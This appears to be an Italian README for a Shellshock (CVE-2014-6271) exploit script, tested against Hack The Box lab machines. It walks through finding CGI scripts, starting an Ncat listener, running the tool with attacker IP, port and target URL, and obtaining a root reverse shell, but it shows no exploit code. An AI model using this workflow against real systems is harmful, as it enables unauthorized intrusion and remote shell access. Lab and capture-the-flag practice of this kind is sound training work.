
Exploit di Shellshock noto anche come CVE-2014-6271
Shellshock exploit noto anche come CVE-2014-6271.
Testato su Bash 3.2 e Bash 4.2.
Per maggiori informazioni sulla vulnerabilità visita : https://nvd.nist.gov/vuln/detail/CVE-2014-6271
L'exploit è stato principalmente testato su Hack The Box nei seguenti box:
Beep box : https://app.hackthebox.eu/machines/BeepShocker box : https://app.hackthebox.eu/machines/ShockerAltrimenti, se ottieni un 403 sulla directory /cgi-bin/, prova a enumerare i file
all'interno di quella directory con una buona wordlist, cercando estensioni .sh o .cgi.
NOTA: Non dimenticare di impostare il tuo listener TCP, altrimenti l'exploit potrebbe darti un falso positivo durante il controllo della chiamata testRevShell
Prima di tutto possiamo vedere gli argomenti che l'exploit accetta eseguendo: shellshock.py -h
Poi possiamo impostare un listener Ncat su una porta a nostra scelta, qui ho scelto la 45
Successivamente possiamo eseguire l'exploit fornendo tutti gli argomenti che accetta eseguendo:
shellshock.py [OUR_IP] [OUR_LISTENNING_PORT] [TARGET_URL]
L'URL target qui, come puoi vedere, è dove il server web invia una richiesta POST durante l'autenticazione su quel box
Qui come possiamo vedere nell'output, l'exploit ha provato a inviare il payload su SSL utilizzando multiple versioni TLS, fino a quando non ha avuto successo
E qui abbiamo ottenuto la nostra reverse shell! Per fortuna, il server web era in esecuzione come root.